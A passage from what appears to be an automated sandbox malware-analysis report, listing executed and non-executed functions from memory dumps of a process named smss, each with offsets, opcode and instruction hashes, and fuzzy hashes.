                                                      Function 00007FFD9B930C48 Relevance: .0, Instructions: 39COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 48a189d52f40aa17015330785e5a6c37ebd27d54b4b0e1c4b8ea6dbb383771ed
                                                      • Instruction ID: 7078d18273b9b2a97672b11c54a793dad48f5759fb1a6e475c8a45a6f20b06a7
                                                      • Opcode Fuzzy Hash: 48a189d52f40aa17015330785e5a6c37ebd27d54b4b0e1c4b8ea6dbb383771ed
                                                      • Instruction Fuzzy Hash: F601B131A1E28DAFD711DB74C45469D7FB0AF42314F1A41F7C444DB2A2DA385648C781
                                                      Function 00007FFD9BCF58D2 Relevance: .0, Instructions: 38COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ccb120d632c2947506f6b547813683b200f2cc892123d86fb0f7c81327025020
                                                      • Instruction ID: c5210bad1fc24adbeb3402d1f3f770262157cdd058667525304f3bfe4c8b1c6f
                                                      • Opcode Fuzzy Hash: ccb120d632c2947506f6b547813683b200f2cc892123d86fb0f7c81327025020
                                                      • Instruction Fuzzy Hash: 86F0963165E2CA9FD3169BF0C8255E93FB4EF43214B0600F6E459CB0B2C62D2706C761
                                                      Function 00007FFD9BCFC3E2 Relevance: .0, Instructions: 37COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ffc387ccbe9062bb1aecfeacb02d1e18a9760906b075d051eb64f8179f951403
                                                      • Instruction ID: dfabe3789221cbdd3f73be7ee0bff4357f4f5145a6c06b3b133f8b282421b8fa
                                                      • Opcode Fuzzy Hash: ffc387ccbe9062bb1aecfeacb02d1e18a9760906b075d051eb64f8179f951403
                                                      • Instruction Fuzzy Hash: FAF0BB31A4E2CA9FD312DBF088615EA7FB4EF43204B0600F6E449CB0B2D52D6706C761
                                                      Function 00007FFD9BCF6722 Relevance: .0, Instructions: 37COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3c6d18aaf22e615696eb37d804031997d7e2442dc09afac4d5b5a4f61f867146
                                                      • Instruction ID: 5f432d4a92eb7bf8f1602ce7eae96752309d335d4907de866fab04ba82a4c465
                                                      • Opcode Fuzzy Hash: 3c6d18aaf22e615696eb37d804031997d7e2442dc09afac4d5b5a4f61f867146
                                                      • Instruction Fuzzy Hash: DCF0F6B2F1A5C54BFB28EAA454A669C3BE0EF44350F0501ECD4C58729BD9192846C340
                                                      Function 00007FFD9C093872 Relevance: .0, Instructions: 37COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4337e2fefb04dd6e76c111beee73be823c579501590622b6ae1ae65ad8a4e998
                                                      • Instruction ID: 11f1a782439667aa926fe3e180a4b07985e596d355d1c898f4e2149d341f3e34
                                                      • Opcode Fuzzy Hash: 4337e2fefb04dd6e76c111beee73be823c579501590622b6ae1ae65ad8a4e998
                                                      • Instruction Fuzzy Hash: D7F0F03194E3CBDFD7128BB0C8215EA7BB0AF03214F0800F7D04AC70A2C62D660ADB62
                                                      Function 00007FFD9BCFB9BE Relevance: .0, Instructions: 36COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 05114a772ee7d6e831962daf95c36f5903635ac06a5ca5a57c50f81cd827699e
                                                      • Instruction ID: 4f3f4c033d8dbca49cefc3c819e97de65cf7ac5b8629d3a607b760f866d7da9e
                                                      • Opcode Fuzzy Hash: 05114a772ee7d6e831962daf95c36f5903635ac06a5ca5a57c50f81cd827699e
                                                      • Instruction Fuzzy Hash: 0BF0BE30B08A484FD798EF2C4829A3D3AC2EF98304B0501BF944ED36FACE219D418342
                                                      Function 00007FFD9C09C952 Relevance: .0, Instructions: 36COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d2cf4ce5756ba862b3034b6ddc144a84a80932be8233486a4aa9929e625a35f6
                                                      • Instruction ID: f77ac21d971bb5dae689b3cf8ad68405d4aa3fbabc2c8a79779a66c1bc4b310d
                                                      • Opcode Fuzzy Hash: d2cf4ce5756ba862b3034b6ddc144a84a80932be8233486a4aa9929e625a35f6
                                                      • Instruction Fuzzy Hash: 83F0963184E2C69FD312CBB088255D97FB4AF43250F1800FAD44AC71A2C67C564AD761
                                                      Function 00007FFD9B9346EE Relevance: .0, Instructions: 34COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 913b04d3bd10c90acbf8eb08a863661871c17eb9a042e5e211b5de1519e2290f
                                                      • Instruction ID: fec71363a087c19363095d790d9cb690551865ab9f6457534338b0ebf2fd16d8
                                                      • Opcode Fuzzy Hash: 913b04d3bd10c90acbf8eb08a863661871c17eb9a042e5e211b5de1519e2290f
                                                      • Instruction Fuzzy Hash: E5F0B421F2F92FA7F6F0A2C8846527823D0EF14714F1B0176C40DD32F4ED296E828682
                                                      Function 00007FFD9C09456A Relevance: .0, Instructions: 31COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f409068e1abd7c0c61aa1a7cca55f2007d4521ee27f43c4f0bb8abb1c99320c3
                                                      • Instruction ID: fb9fbee1ce180090d93b2f24671dabb5aee445934ac3f625eaab833e673557b1
                                                      • Opcode Fuzzy Hash: f409068e1abd7c0c61aa1a7cca55f2007d4521ee27f43c4f0bb8abb1c99320c3
                                                      • Instruction Fuzzy Hash: 8AF09621A0D3C24FDB329BE44CA15943FB0DF17390B1806FAC489CB1D7D6586505D761
                                                      Function 00007FFD9B934551 Relevance: .0, Instructions: 30COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2b0645669372abf00ba4d8995b45db02cb84e4008997efade20ea7d9f7696e0c
                                                      • Instruction ID: b1ae73416915a877ab2f8369bcbfb789b65bf6cbf5f0a43cc1b79afc66b1e077
                                                      • Opcode Fuzzy Hash: 2b0645669372abf00ba4d8995b45db02cb84e4008997efade20ea7d9f7696e0c
                                                      • Instruction Fuzzy Hash: 68F03A20B2940D5BEEF0EB44C878BBC2392AF81310F5702BAC44DD32B1CD286E818A40
                                                      Function 00007FFD9B935B89 Relevance: .0, Instructions: 29COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e63510b59a9d09306144a5ccecf2f7ffd367f7dc7fac7fc6b38511968395d958
                                                      • Instruction ID: 737aee1e61c2eee71f9d201b87af465e1cd6e72dc04a78eb52841e625e8e1ad4
                                                      • Opcode Fuzzy Hash: e63510b59a9d09306144a5ccecf2f7ffd367f7dc7fac7fc6b38511968395d958
                                                      • Instruction Fuzzy Hash: 3DF08960F2954E5FEB50EBB880B9B6877D1AF45344F4600B5D04DDB2B6DD2859818700
                                                      Function 00007FFD9B934870 Relevance: .0, Instructions: 26COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f4adf9233da3d7a0d63565b2ecec20d72eb6d1b71548ffebc4ea295191c8cf0a
                                                      • Instruction ID: 3d78210e834f208560512ca892c857de7480b1f6cd3187063e2bbf29d24538fd
                                                      • Opcode Fuzzy Hash: f4adf9233da3d7a0d63565b2ecec20d72eb6d1b71548ffebc4ea295191c8cf0a
                                                      • Instruction Fuzzy Hash: A7E0C211F2A51E66FAB8A7EA90753BC02C2AF45704F465475E44ED32E2EC2DAA410241
                                                      Function 00007FFD9C0904A8 Relevance: .0, Instructions: 22COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: bdc421190c8a69b17ef8f913e559d07fe6926ec8f664aa5ed631e2028968e776
                                                      • Instruction ID: 0ff4650fbd33a137fc6d0044df1a0d5c134850c730e3c8c22a19120bb99f8c29
                                                      • Opcode Fuzzy Hash: bdc421190c8a69b17ef8f913e559d07fe6926ec8f664aa5ed631e2028968e776
                                                      • Instruction Fuzzy Hash: B6E0C270E2C51F8EDBA4DB9498616FDB671FF48344F900036C01EE2190DB282560A651
                                                      Function 00007FFD9BCFD0D7 Relevance: .0, Instructions: 18COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0dccfb38c535d59f5f2e0a5b823e5844ff4f0715737d2853374c8623cc77b89f
                                                      • Instruction ID: a4921ba03f286109def0ffcffa9e7eb78ed8119a3b8c5f30af02fdb114fc995b
                                                      • Opcode Fuzzy Hash: 0dccfb38c535d59f5f2e0a5b823e5844ff4f0715737d2853374c8623cc77b89f
                                                      • Instruction Fuzzy Hash: 64E01252F0F3CA5BEB3602F8087507C5FA19F1738175B05F6D1458A2E3D9486E066351
                                                      Function 00007FFD9B930B9A Relevance: .0, Instructions: 16COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2e62be6e9babd4287e7db9fb4549c302f05332f76477976db2548a7a12853c0f
                                                      • Instruction ID: ba8d33e8a36bee267e6e289ee815b10dffb40f2ce7466257a7435dd6b159b44f
                                                      • Opcode Fuzzy Hash: 2e62be6e9babd4287e7db9fb4549c302f05332f76477976db2548a7a12853c0f
                                                      • Instruction Fuzzy Hash: DCD0123062D94E8FDA41B778D8958147FA0FF0F211BDA00E1E00DC71B2D6159895C705
                                                      Function 00007FFD9B9306A5 Relevance: .0, Instructions: 13COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d7beb52c358338d5832bfbff0076e7b998bdfbb574bdb60db5746e4f2dde4b25
                                                      • Instruction ID: 2fba59a55c08a4060899eabc356054ce5ec9f06384ae98de8fa0c5da64b32a85
                                                      • Opcode Fuzzy Hash: d7beb52c358338d5832bfbff0076e7b998bdfbb574bdb60db5746e4f2dde4b25
                                                      • Instruction Fuzzy Hash: EFC08C04F3B80F22F43073EE15622ACB3005BC5B14FE30272D00D800FAAC0E22C50146
                                                      Function 00007FFD9BCFDBAB Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 61a40d3cf6e15dab64fccae4e4d47597c5b5d6015f0e832f2ad277dff738981f
                                                      • Instruction ID: baf4d8322a73ff0a941d4892d5835eb64f60b285d21eb80eefb4ce1d1da30100
                                                      • Opcode Fuzzy Hash: 61a40d3cf6e15dab64fccae4e4d47597c5b5d6015f0e832f2ad277dff738981f
                                                      • Instruction Fuzzy Hash: B4D09214B0E60F85F6385BA150B063E5AA05F00340F6200B9D09F419F189197B016251
                                                      Function 00007FFD9BCF70BB Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6f4638bde2b61fcefbbb0c6687629a8e9d07f94e331dabadf6f31afb86bdf19e
                                                      • Instruction ID: 659253ae5de81ad00311338cf07180476a9f54d328f297e4e9b3fe90e7186d80
                                                      • Opcode Fuzzy Hash: 6f4638bde2b61fcefbbb0c6687629a8e9d07f94e331dabadf6f31afb86bdf19e
                                                      • Instruction Fuzzy Hash: 66D09510B1E60B85F23847A18270B3E39A18F80302F2244BFE59F428E28D19BA026202
                                                      Function 00007FFD9C09506B Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 88aee399057a8ae294d7c21b75ba5aea158a791c35857b1981143dab32966a3c
                                                      • Instruction ID: 0bcc5bc24a1442736f21bda055d98761d3f3ec04080c5458cc15994f7fb0800b
                                                      • Opcode Fuzzy Hash: 88aee399057a8ae294d7c21b75ba5aea158a791c35857b1981143dab32966a3c
                                                      • Instruction Fuzzy Hash: C9D0CA10F0D6478AFA784AC3813073A26B08F863C0E20473EC2AF459D1CF2EB9017642
                                                      Function 00007FFD9C09E11B Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 230d511b7a17262fa133eb11823a306fdc941e0845b3505c0dc43ccf75fd0ba3
                                                      • Instruction ID: 2c15891ac83d615d051ed8d78130e88c52b727991f24006ebee44fc51caaa9b3
                                                      • Opcode Fuzzy Hash: 230d511b7a17262fa133eb11823a306fdc941e0845b3505c0dc43ccf75fd0ba3
                                                      • Instruction Fuzzy Hash: 5CD09230B0D55385F5385681803073D59B15F00BC1E74643AC0BF41AD18B18BE017202
                                                      Function 00007FFD9BCF65DF Relevance: .0, Instructions: 8COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4ef55ce510aa60a4c7044e8f446600c48dcb3103826998ea4144fae83b2d77c6
                                                      • Instruction ID: 8609a8d36ca93c6aee190b310f1e6b2d1a57c358e9329c069a3f662f294dbcd2
                                                      • Opcode Fuzzy Hash: 4ef55ce510aa60a4c7044e8f446600c48dcb3103826998ea4144fae83b2d77c6
                                                      • Instruction Fuzzy Hash: 0BC09280F0F38B6BEB3162F408B107C0E800F56201B970AF2E14B9A1EBEC4CAA05D365
                                                      Function 00007FFD9B9306C8 Relevance: .0, Instructions: 8COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4bc57b3e9a75c9c30632150aaed7d5d414b4cb7cf4c4f63cb5a294af46db24f1
                                                      • Instruction ID: 9d6729c8ba3469e1d941f00b51ba4bcdbf62605d16fe9999899f0547c5af214c
                                                      • Opcode Fuzzy Hash: 4bc57b3e9a75c9c30632150aaed7d5d414b4cb7cf4c4f63cb5a294af46db24f1
                                                      • Instruction Fuzzy Hash: 23B01200D7740F11E46432FA09A216871405B85300FD200B0E40D800A6A84D12940242
                                                      Function 00007FFD9C09D661 Relevance: .0, Instructions: 6COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7162bdc1b502d1f2a29014c371e3d82c86f2092911eeac94463e1879ba95af80
                                                      • Instruction ID: e85841d1b60fa0069d27ea63e28930142f6fb8b5f9d46030998488bdf444b672
                                                      • Opcode Fuzzy Hash: 7162bdc1b502d1f2a29014c371e3d82c86f2092911eeac94463e1879ba95af80
                                                      • Instruction Fuzzy Hash: 63B00140F8C30797FA3418F509B527E00B91B496D9FA40A35E69F8A2D3EE9C784072A1

                                                      Non-executed Functions

                                                      Function 00007FFD9B9309B0 Relevance: 5.2, Strings: 4, Instructions: 199COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: c9$!k9$"s9$#{9
                                                      • API String ID: 0-1692736845
                                                      • Opcode ID: 0dbf46231e356baf45d3f4b3313474fc43a9ecdb6ae539028f42fc88ae0e639e
                                                      • Instruction ID: 4e6df031de64866ce4657dbbc89ba3c81a85693d3d1636268e9024bac3ac3149
                                                      • Opcode Fuzzy Hash: 0dbf46231e356baf45d3f4b3313474fc43a9ecdb6ae539028f42fc88ae0e639e
                                                      • Instruction Fuzzy Hash: B8518A07B1A47A95E75937FD7522DFC6B84DF85235B4C83B7E05E890CBCC0A608A82E5

                                                      Executed Functions

                                                      Function 00007FFD9B900D4C Relevance: 1.5, Strings: 1, Instructions: 251COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: 5\_H
                                                      • API String ID: 0-3325266018
                                                      • Opcode ID: 9bc46e0e727f4b32d1a96c93b6b2f3a4dbbfcb373c7ab2c609a7719ce1c26e96
                                                      • Instruction ID: c15dbae443de1ddb40fcd674b6e01fa56da1a10de72ff5a8303afe12b97707f7
                                                      • Opcode Fuzzy Hash: 9bc46e0e727f4b32d1a96c93b6b2f3a4dbbfcb373c7ab2c609a7719ce1c26e96
                                                      • Instruction Fuzzy Hash: 7491F2B5A1DA9D8FE799DB6888797A97FE0FF56310F4400BAD08AD72E6CB781411C700
                                                      Function 00007FFD9BCC102C Relevance: 1.6, Strings: 1, Instructions: 390COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: d
                                                      • API String ID: 0-2564639436
                                                      • Opcode ID: c7ec39b66a3268aa3f9a33a9c1cff89e2d949166a0f21461d1e20b4df19cb30e
                                                      • Instruction ID: 0e60a0e5a5640d04036b842fa799bca7a4dd83f2ea211d83edfee4e68d10a2ad
                                                      • Opcode Fuzzy Hash: c7ec39b66a3268aa3f9a33a9c1cff89e2d949166a0f21461d1e20b4df19cb30e
                                                      • Instruction Fuzzy Hash: E1C1C130B18A094FD758EF58D491A7973E1FFA8304B1549BDD44AC72ABDA35FC428781
                                                      Function 00007FFD9BCC7BD8 Relevance: 1.4, Strings: 1, Instructions: 158COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 051a0e41104e499c0fd7b313a04cd55c40eb62b7a7d076a186ed3c77e8325048
                                                      • Instruction ID: fe640a089a51297288b165e6e71132c4f44327e81b9d6c3b215d5614aea2a250
                                                      • Opcode Fuzzy Hash: 051a0e41104e499c0fd7b313a04cd55c40eb62b7a7d076a186ed3c77e8325048
                                                      • Instruction Fuzzy Hash: E6517271E0964E9FDB59EFA4C4615FDB7B1FFA4300F1144BAC01AE72A6DA356A01CB40
                                                      Function 00007FFD9C065B88 Relevance: 1.4, Strings: 1, Instructions: 157COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: a39119a02c1ba3e4671c83a1bac07377e866655b6db0baedc1d0ac81cc5ee076
                                                      • Instruction ID: 3c3c6fad7aefbd5aa04c057e56e13e4ace1e8afc54e4988a11bd07775e4bf59f
                                                      • Opcode Fuzzy Hash: a39119a02c1ba3e4671c83a1bac07377e866655b6db0baedc1d0ac81cc5ee076
                                                      • Instruction Fuzzy Hash: DC516B31E0855B8FDB69DFA8C56A5BDB7B1EF54340F1441BAD01EA72C6CB386901DB40
                                                      Function 00007FFD9C06EC48 Relevance: 1.4, Strings: 1, Instructions: 155COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: cb45c145d140192d64eda009f3f6501e51157b5f9f6257379aa13c7c47688ba0
                                                      • Instruction ID: 2993738bed5292b6fcc013403d7f1b5a135fcd8a75abf5f8c23f97982ca12cb9
                                                      • Opcode Fuzzy Hash: cb45c145d140192d64eda009f3f6501e51157b5f9f6257379aa13c7c47688ba0
                                                      • Instruction Fuzzy Hash: EC517F31E0860A8FDB68DFA8C5655FDBBB1EF44380F1441BAC02EA72C6CB356902DB50
                                                      Function 00007FFD9BCC0E5C Relevance: 1.3, Strings: 1, Instructions: 21COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: M
                                                      • API String ID: 0-3664761504
                                                      • Opcode ID: 81941253e239e1d153828227980107df8bfb6efd3b775c5c0898f8212c67df98
                                                      • Instruction ID: ff0f7940ed3414fcd09312ee82465fafd3d6f9c04031f3ca8179e1566ba9d2dc
                                                      • Opcode Fuzzy Hash: 81941253e239e1d153828227980107df8bfb6efd3b775c5c0898f8212c67df98
                                                      • Instruction Fuzzy Hash: 3CE0C23060A5484FDB18FA388458824BB80EB7620134546ADC04ACB1A6EE29D8C5CB00
                                                      Function 00007FFD9C065DFF Relevance: .4, Instructions: 428COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
